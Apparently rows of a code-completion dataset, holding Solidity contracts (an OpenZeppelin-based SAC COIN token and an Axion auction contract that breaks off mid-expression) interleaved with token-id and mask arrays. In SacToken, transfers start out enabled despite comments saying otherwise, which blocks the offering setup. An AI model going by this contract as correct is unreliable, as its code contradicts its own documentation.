require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/SacToken.sol /* * SacToken is a standard ERC20 token with some additional functionalities: * - Transfers are only enabled after contract owner enables it (after the ICO) * - Contract sets 40% of the total supply as allowance for ICO contract * * Note: Token Offering == Initial Coin Offering(ICO) */ contract SacToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "SAC"; string public constant name = "SAC COIN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 48000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 19200000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; // Address of token admin address public adminAddr; // Address of token offering address public tokenOfferingAddr; // Enable transfers after conclusion of token offering bool public transferEnabled = true; /** * Check if transfer is allowed * * Permissions: * Owner Admin OfferingContract Others * transfer (before transferEnabled is true) x x x x * transferFrom (before transferEnabled is true) x o o x * transfer/transferFrom(after transferEnabled is true) o x x o */ modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } /** * Check if token offering address is set or not */ modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } /** * Check if address is a valid destination to transfer tokens to * - must not be zero address * - must not be the token address * - must not be the owner&#39;s address * - must not be the admin&#39;s address * - must not be the token offering contract address */ modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } /** * Token contract constructor * * @param admin Address of admin account */ function SacToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; // Mint tokens balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); // Approve allowance for admin account adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } /** * Set token offering to approve allowance for offering contract to distribute tokens * * @param offeringAddr Address of token offering contract * @param amountForSale Amount of tokens for sale, set 0 to max out */ function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } /** * Enable transfers */ function enableTransfer() external onlyOwner { transferEnabled = true; // End the offering approve(tokenOfferingAddr, 0); } /** * Transfer from sender to another account * * @param to Destination address * @param value Amount of sactokens to send */ function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } /** * Transfer from `from` account to `to` account using allowance in `from` account to the sender * * @param from Origin address * @param to Destination address * @param value Amount of sactokens to send */ function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } /** * Burn token, only owner is allowed to do this * * @param value Amount of tokens to burn */ function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
Address of token admin Address of token offering Enable transfers after conclusion of token offering
contract SacToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "SAC"; string public constant name = "SAC COIN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 48000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 19200000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; address public adminAddr; address public tokenOfferingAddr; bool public transferEnabled = true; modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } function SacToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } function enableTransfer() external onlyOwner { transferEnabled = true; approve(tokenOfferingAddr, 0); } function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
15,205,568
[ 1, 1887, 434, 1147, 3981, 5267, 434, 1147, 10067, 310, 9677, 29375, 1839, 356, 15335, 434, 1147, 10067, 310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 348, 1077, 1345, 353, 8263, 1345, 16, 605, 321, 429, 1345, 16, 14223, 6914, 288, 203, 202, 1080, 1071, 5381, 3273, 273, 315, 55, 2226, 14432, 203, 202, 1080, 1071, 5381, 508, 273, 315, 55, 2226, 385, 6266, 14432, 203, 202, 11890, 28, 1071, 5381, 15105, 273, 6549, 31, 203, 202, 11890, 5034, 1071, 5381, 28226, 67, 13272, 23893, 273, 9934, 2787, 11706, 380, 261, 2163, 2826, 2254, 5034, 12, 31734, 10019, 203, 202, 11890, 5034, 1071, 5381, 14275, 67, 8797, 654, 1360, 67, 13511, 4722, 273, 20217, 12648, 380, 261, 2163, 2826, 2254, 5034, 12, 31734, 10019, 203, 202, 11890, 5034, 1071, 5381, 25969, 67, 13511, 4722, 273, 28226, 67, 13272, 23893, 300, 14275, 67, 8797, 654, 1360, 67, 13511, 4722, 31, 203, 203, 202, 2867, 1071, 3981, 3178, 31, 203, 202, 2867, 1071, 1147, 17800, 3178, 31, 203, 202, 6430, 1071, 7412, 1526, 273, 638, 31, 203, 203, 203, 203, 202, 20597, 1338, 9434, 5912, 5042, 1435, 288, 203, 202, 202, 6528, 12, 13866, 1526, 747, 1234, 18, 15330, 422, 3981, 3178, 747, 1234, 18, 15330, 422, 1147, 17800, 3178, 1769, 203, 202, 202, 67, 31, 203, 202, 97, 203, 203, 202, 20597, 1338, 1345, 17800, 3178, 1248, 694, 1435, 288, 203, 202, 202, 6528, 12, 2316, 17800, 3178, 422, 1758, 12, 20, 92, 20, 10019, 203, 202, 202, 67, 31, 203, 202, 97, 203, 203, 202, 20597, 923, 5683, 12, 2867, 358, 13, 288, 203, 202, 202, 6528, 12, 869, 480, 1758, 12, 20, 92, 20, 10019, 203, 202, 202, 2 ]
./full_match/42/0x452d3623e3D87fEfB2534b516e0B259BA4993181/sources/PreachersCompFiLqdt.sol
***************************************************************** from ILendingPool.sol function flashLoan ( address _receiver, address _reserve, uint256 _amount, bytes calldata _params ) external; lendingPool will in turn call this contract's executeOperation /
if ( iExitNo == 7 ){ return;}
9,584,816
[ 1, 2080, 467, 48, 2846, 2864, 18, 18281, 445, 9563, 1504, 304, 261, 1758, 389, 24454, 16, 1758, 389, 455, 6527, 16, 225, 2254, 5034, 389, 8949, 16, 1731, 745, 892, 389, 2010, 262, 3903, 31, 328, 2846, 2864, 903, 316, 7005, 745, 333, 6835, 1807, 1836, 2988, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 277, 6767, 2279, 422, 2371, 262, 95, 327, 31, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.0; /** OpenZeppelin Dependencies */ // import "@openzeppelin/contracts-upgradeable/contracts/proxy/Initializable.sol"; import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol'; /** Uniswap */ import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; /** Local Interfaces */ import './interfaces/IToken.sol'; import './interfaces/IAuction.sol'; import './interfaces/IStaking.sol'; import './interfaces/IAuctionV1.sol'; contract Auction is IAuction, Initializable, AccessControlUpgradeable { using SafeMathUpgradeable for uint256; /** Events */ event Bid( address indexed account, uint256 value, uint256 indexed auctionId, uint256 time ); event VentureBid( address indexed account, uint256 ethBid, uint256 indexed auctionId, uint256 time, address[] coins, uint256[] amountBought ); event Withdraval( address indexed account, uint256 value, uint256 indexed auctionId, uint256 time, uint256 stakeDays ); event AuctionIsOver(uint256 eth, uint256 token, uint256 indexed auctionId); /** Structs */ struct AuctionReserves { uint256 eth; // Amount of Eth in the auction uint256 token; // Amount of Axn in auction for day uint256 uniswapLastPrice; // Last known uniswap price from last bid uint256 uniswapMiddlePrice; // Using middle price days to calculate avg price } struct UserBid { uint256 eth; // Amount of ethereum address ref; // Referrer address for bid bool withdrawn; // Determine withdrawn } struct Addresses { address mainToken; // Axion token address address staking; // Staking platform address payable uniswap; // Uniswap Main Router address payable recipient; // Origin address for excess ethereum in auction } struct Options { uint256 autoStakeDays; // # of days bidder must stake once axion is won from auction uint256 referrerPercent; // Referral Bonus % uint256 referredPercent; // Referral Bonus % bool referralsOn; // If on referrals are used on auction uint256 discountPercent; // Discount in comparison to uniswap price in auction uint256 premiumPercent; // Premium in comparions to unsiwap price in auction } /** Roles */ bytes32 public constant MIGRATOR_ROLE = keccak256('MIGRATOR_ROLE'); bytes32 public constant MANAGER_ROLE = keccak256('MANAGER_ROLE'); bytes32 public constant CALLER_ROLE = keccak256('CALLER_ROLE'); /** Mapping */ mapping(uint256 => AuctionReserves) public reservesOf; // [day], mapping(address => uint256[]) public auctionsOf; mapping(uint256 => mapping(address => UserBid)) public auctionBidOf; mapping(uint256 => mapping(address => bool)) public existAuctionsOf; /** Simple types */ uint256 public lastAuctionEventId; // Index for Auction uint256 public lastAuctionEventIdV1; // Last index for layer 1 auction uint256 public start; // Beginning of contract uint256 public stepTimestamp; // # of seconds per "axion day" (86400) Options public options; // Auction options (see struct above) Addresses public addresses; // (See Address struct above) IAuctionV1 public auctionV1; // V1 Auction contract for backwards compatibility bool public init_; // Unneeded legacy variable to ensure init is only called once. mapping(uint256 => mapping(address => uint256)) public autoStakeDaysOf; // NOT USED uint256 public middlePriceDays; // When calculating auction price this is used to determine average struct VentureToken { address coin; // address of token to buy from swap uint96 percentage; // % of token to buy NOTE: (On a VCA day all Venture tokens % should add up to 100%) } struct AuctionData { uint8 mode; // 1 = VCA, 0 = Normal Auction VentureToken[] tokens; // Tokens to buy in VCA } AuctionData[7] internal auctions; // 7 values for 7 days of the week uint8 internal ventureAutoStakeDays; // # of auto stake days for VCA Auction /* UGPADEABILITY: New variables must go below here. */ /** modifiers */ modifier onlyCaller() { require( hasRole(CALLER_ROLE, _msgSender()), 'Caller is not a caller role' ); _; } modifier onlyManager() { require( hasRole(MANAGER_ROLE, _msgSender()), 'Caller is not a manager role' ); _; } modifier onlyMigrator() { require( hasRole(MIGRATOR_ROLE, _msgSender()), 'Caller is not a migrator' ); _; } /** Update Price of current auction Get current axion day Get uniswapLastPrice Set middlePrice */ function _updatePrice() internal { uint256 currentAuctionId = getCurrentAuctionId(); /** Set reserves of */ reservesOf[currentAuctionId].uniswapLastPrice = getUniswapLastPrice(); reservesOf[currentAuctionId] .uniswapMiddlePrice = getUniswapMiddlePriceForDays(); } /** Get token paths Use uniswap to buy tokens back and send to staking platform using (addresses.staking) @param tokenAddress {address} - Token to buy from uniswap @param amountOutMin {uint256} - Slippage tolerance for router @param amount {uint256} - Min amount expected @param deadline {uint256} - Deadline for trade (used for uniswap router) */ function _swapEthForToken( address tokenAddress, uint256 amountOutMin, uint256 amount, uint256 deadline ) private returns (uint256) { address[] memory path = new address[](2); path[0] = IUniswapV2Router02(addresses.uniswap).WETH(); path[1] = tokenAddress; return IUniswapV2Router02(addresses.uniswap).swapExactETHForTokens{ value: amount }(amountOutMin, path, addresses.staking, deadline)[1]; } /** Bid function which routes to either venture bid or bid internal @param amountOutMin {uint256[]} - Slippage tolerance for uniswap router @param deadline {uint256} - Deadline for trade (used for uniswap router) @param ref {address} - Referrer Address to get % axion from bid */ function bid( uint256[] calldata amountOutMin, uint256 deadline, address ref ) external payable { uint256 currentDay = getCurrentDay(); uint8 auctionMode = auctions[currentDay].mode; if (auctionMode == 0) { bidInternal(amountOutMin[0], deadline, ref); } else if (auctionMode == 1) { ventureBid(amountOutMin, deadline, currentDay); } } /** BidInternal - Buys back axion from uniswap router and sends to staking platform @param amountOutMin {uint256} - Slippage tolerance for uniswap router @param deadline {uint256} - Deadline for trade (used for uniswap router) @param ref {address} - Referrer Address to get % axion from bid */ function bidInternal( uint256 amountOutMin, uint256 deadline, address ref ) internal { _saveAuctionData(); _updatePrice(); /** Can not refer self */ require(_msgSender() != ref, 'msg.sender == ref'); /** Get percentage for recipient and uniswap (Extra function really unnecessary) */ (uint256 toRecipient, uint256 toUniswap) = _calculateRecipientAndUniswapAmountsToSend(); /** Buy back tokens from uniswap and send to staking contract */ _swapEthForToken( addresses.mainToken, amountOutMin, toUniswap, deadline ); /** Get Auction ID */ uint256 auctionId = getCurrentAuctionId(); /** If referralsOn is true allow to set ref */ if (options.referralsOn == true) { auctionBidOf[auctionId][_msgSender()].ref = ref; } /** Run common shared functionality between VCA and Normal */ bidCommon(auctionId); /** Transfer any eithereum in contract to recipient address */ addresses.recipient.transfer(toRecipient); /** Send event to blockchain */ emit Bid(msg.sender, msg.value, auctionId, now); } /** BidInternal - Buys back axion from uniswap router and sends to staking platform @param amountOutMin {uint256[]} - Slippage tolerance for uniswap router @param deadline {uint256} - Deadline for trade (used for uniswap router) @param currentDay {uint256} - currentAuctionId */ function ventureBid( uint256[] memory amountOutMin, uint256 deadline, uint256 currentDay ) internal { _saveAuctionData(); _updatePrice(); /** Get the token(s) of the day */ VentureToken[] storage tokens = auctions[currentDay].tokens; /** Create array to determine amount bought for each token */ address[] memory coinsBought = new address[](tokens.length); uint256[] memory amountsBought = new uint256[](tokens.length); /** Loop over tokens to purchase */ for (uint8 i = 0; i < tokens.length; i++) { /** Determine amount to purchase based on ethereum bid */ uint256 amountBought; uint256 amountToBuy = msg.value.mul(tokens[i].percentage).div(100); /** If token is 0xFFfFfF... we buy no token and just distribute the bidded ethereum */ if ( tokens[i].coin != address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF) ) { amountBought = _swapEthForToken( tokens[i].coin, amountOutMin[i], amountToBuy, deadline ); IStaking(addresses.staking).updateTokenPricePerShare( msg.sender, addresses.recipient, tokens[i].coin, amountBought ); } else { amountBought = amountToBuy; IStaking(addresses.staking).updateTokenPricePerShare{ value: amountToBuy }(msg.sender, addresses.recipient, tokens[i].coin, amountToBuy); // Payable amount } coinsBought[i] = tokens[i].coin; amountsBought[i] = amountBought; } uint256 currentAuctionId = getCurrentAuctionId(); bidCommon(currentAuctionId); emit VentureBid( msg.sender, msg.value, currentAuctionId, now, coinsBought, amountsBought ); } /** Bid Common - Set common values for bid @param auctionId (uint256) - ID of auction */ function bidCommon(uint256 auctionId) internal { /** Set auctionBid for bidder */ auctionBidOf[auctionId][_msgSender()].eth = auctionBidOf[auctionId][ _msgSender() ] .eth .add(msg.value); /** Set existsOf in order to include all auction bids for current user into one */ if (!existAuctionsOf[auctionId][_msgSender()]) { auctionsOf[_msgSender()].push(auctionId); existAuctionsOf[auctionId][_msgSender()] = true; } reservesOf[auctionId].eth = reservesOf[auctionId].eth.add(msg.value); } /** getUniswapLastPrice - Use uniswap router to determine current price based on ethereum */ function getUniswapLastPrice() internal view returns (uint256) { address[] memory path = new address[](2); path[0] = IUniswapV2Router02(addresses.uniswap).WETH(); path[1] = addresses.mainToken; uint256 price = IUniswapV2Router02(addresses.uniswap).getAmountsOut(1e18, path)[1]; return price; } /** getUniswapMiddlePriceForDays Use the "last known price" for the last {middlePriceDays} days to determine middle price by taking an average */ function getUniswapMiddlePriceForDays() internal view returns (uint256) { uint256 currentAuctionId = getCurrentAuctionId(); uint256 index = currentAuctionId; uint256 sum; uint256 points; while (points != middlePriceDays) { if (reservesOf[index].uniswapLastPrice != 0) { sum = sum.add(reservesOf[index].uniswapLastPrice); points = points.add(1); } if (index == 0) break; index = index.sub(1); } if (sum == 0) return getUniswapLastPrice(); else return sum.div(points); } /** withdraw - Withdraws an auction bid and stakes axion in staking contract @param auctionId {uint256} - Auction to withdraw from @param stakeDays {uint256} - # of days to stake in portal */ function withdraw(uint256 auctionId, uint256 stakeDays) external { _saveAuctionData(); _updatePrice(); /** Require the # of days staking > options */ uint8 auctionMode = auctions[auctionId.mod(7)].mode; if (auctionMode == 0) { require( stakeDays >= options.autoStakeDays, 'Auction: stakeDays < minimum days' ); } else if (auctionMode == 1) { require( stakeDays >= ventureAutoStakeDays, 'Auction: stakeDays < minimum days' ); } /** Require # of staking days < 5556 */ require(stakeDays <= 5555, 'Auction: stakeDays > 5555'); uint256 currentAuctionId = getCurrentAuctionId(); UserBid storage userBid = auctionBidOf[auctionId][_msgSender()]; /** Ensure auctionId of withdraw is not todays auction, and user bid has not been withdrawn and eth > 0 */ require(currentAuctionId > auctionId, 'Auction: Auction is active'); require( userBid.eth > 0 && userBid.withdrawn == false, 'Auction: Zero bid or withdrawn' ); /** Set Withdrawn to true */ userBid.withdrawn = true; /** Call common withdraw functions */ withdrawInternal( userBid.ref, userBid.eth, auctionId, currentAuctionId, stakeDays ); } /** withdraw - Withdraws an auction bid and stakes axion in staking contract @param auctionId {uint256} - Auction to withdraw from @param stakeDays {uint256} - # of days to stake in portal NOTE: No longer needed, as there is most likely not more bids from v1 that have not been withdraw */ function withdrawV1(uint256 auctionId, uint256 stakeDays) external { _saveAuctionData(); _updatePrice(); // Backward compatability with v1 auction require( auctionId <= lastAuctionEventIdV1, 'Auction: Invalid auction id' ); /** Ensure stake days > options */ require( stakeDays >= options.autoStakeDays, 'Auction: stakeDays < minimum days' ); require(stakeDays <= 5555, 'Auction: stakeDays > 5555'); uint256 currentAuctionId = getCurrentAuctionId(); require(currentAuctionId > auctionId, 'Auction: Auction is active'); /** This stops a user from using WithdrawV1 twice, since the bid is put into memory at the end */ UserBid storage userBid = auctionBidOf[auctionId][_msgSender()]; require( userBid.eth == 0 && userBid.withdrawn == false, 'Auction: Invalid auction ID' ); (uint256 eth, address ref) = auctionV1.auctionBetOf(auctionId, _msgSender()); require(eth > 0, 'Auction: Zero balance in auction/invalid auction ID'); /** Common withdraw functionality */ withdrawInternal(ref, eth, auctionId, currentAuctionId, stakeDays); /** Bring v1 auction bid to v2 */ auctionBidOf[auctionId][_msgSender()] = UserBid({ eth: eth, ref: ref, withdrawn: true }); auctionsOf[_msgSender()].push(auctionId); } function withdrawInternal( address ref, uint256 eth, uint256 auctionId, uint256 currentAuctionId, uint256 stakeDays ) internal { /** Calculate payout for bidder */ uint256 payout = _calculatePayout(auctionId, eth); uint256 uniswapPayoutWithPercent = _calculatePayoutWithUniswap(auctionId, eth, payout); /** If auction is undersold, send overage to weekly auction */ if (payout > uniswapPayoutWithPercent) { uint256 nextWeeklyAuction = calculateNearestWeeklyAuction(); reservesOf[nextWeeklyAuction].token = reservesOf[nextWeeklyAuction] .token .add(payout.sub(uniswapPayoutWithPercent)); payout = uniswapPayoutWithPercent; } /** If referrer is empty simple task */ if (address(ref) == address(0)) { /** Burn tokens and then call external stake on staking contract */ IToken(addresses.mainToken).burn(address(this), payout); IStaking(addresses.staking).externalStake( payout, stakeDays, _msgSender() ); emit Withdraval( msg.sender, payout, currentAuctionId, now, stakeDays ); } else { /** Burn tokens and determine referral amount */ IToken(addresses.mainToken).burn(address(this), payout); (uint256 toRefMintAmount, uint256 toUserMintAmount) = _calculateRefAndUserAmountsToMint(payout); /** Add referral % to payout */ payout = payout.add(toUserMintAmount); /** Call external stake for referrer and bidder */ IStaking(addresses.staking).externalStake( payout, stakeDays, _msgSender() ); /** We do not want to mint if the referral address is the dEaD address */ if(address(ref) != address(0x000000000000000000000000000000000000dEaD)) { IStaking(addresses.staking).externalStake(toRefMintAmount, 14, ref); } emit Withdraval( msg.sender, payout, currentAuctionId, now, stakeDays ); } } /** External Contract Caller functions @param amount {uint256} - amount to add to next dailyAuction */ function callIncomeDailyTokensTrigger(uint256 amount) external override onlyCaller { // Adds a specified amount of axion to tomorrows auction uint256 currentAuctionId = getCurrentAuctionId(); uint256 nextAuctionId = currentAuctionId + 1; reservesOf[nextAuctionId].token = reservesOf[nextAuctionId].token.add( amount ); } /** Add Reserves to specified Auction @param daysInFuture {uint256} - CurrentAuctionId + daysInFuture to send Axion to @param amount {uint256} - Amount of axion to add to auction */ function addReservesToAuction(uint256 daysInFuture, uint256 amount) external override onlyCaller returns (uint256) { // Adds a specified amount of axion to a future auction require( daysInFuture <= 365, 'AUCTION: Days in future can not be greater then 365' ); uint256 currentAuctionId = getCurrentAuctionId(); uint256 auctionId = currentAuctionId + daysInFuture; reservesOf[auctionId].token = reservesOf[auctionId].token.add(amount); return auctionId; } /** Add reserves to next weekly auction @param amount {uint256} - Amount of axion to add to auction */ function callIncomeWeeklyTokensTrigger(uint256 amount) external override onlyCaller { // Adds a specified amount of axion to the next nearest weekly auction uint256 nearestWeeklyAuction = calculateNearestWeeklyAuction(); reservesOf[nearestWeeklyAuction].token = reservesOf[ nearestWeeklyAuction ] .token .add(amount); } /** Calculate functions */ function calculateNearestWeeklyAuction() public view returns (uint256) { uint256 currentAuctionId = getCurrentAuctionId(); return currentAuctionId.add(uint256(7).sub(currentAuctionId.mod(7))); } /** Get current day of week * EX: friday = 0, saturday = 1, sunday = 2 etc... */ function getCurrentDay() internal view returns (uint256) { uint256 currentAuctionId = getCurrentAuctionId(); return currentAuctionId.mod(7); } function getCurrentAuctionId() public view returns (uint256) { return now.sub(start).div(stepTimestamp); } function calculateStepsFromStart() public view returns (uint256) { return now.sub(start).div(stepTimestamp); } /** Determine payout and overage @param auctionId {uint256} - Auction id to calculate price from @param amount {uint256} - Amount to use to determine overage @param payout {uint256} - payout */ function _calculatePayoutWithUniswap( uint256 auctionId, uint256 amount, uint256 payout ) internal view returns (uint256) { // Get payout for user uint256 uniswapPayout = reservesOf[auctionId].uniswapMiddlePrice.mul(amount).div(1e18); // Get payout with percentage based on discount, premium uint256 uniswapPayoutWithPercent = uniswapPayout .add(uniswapPayout.mul(options.discountPercent).div(100)) .sub(uniswapPayout.mul(options.premiumPercent).div(100)); if (payout 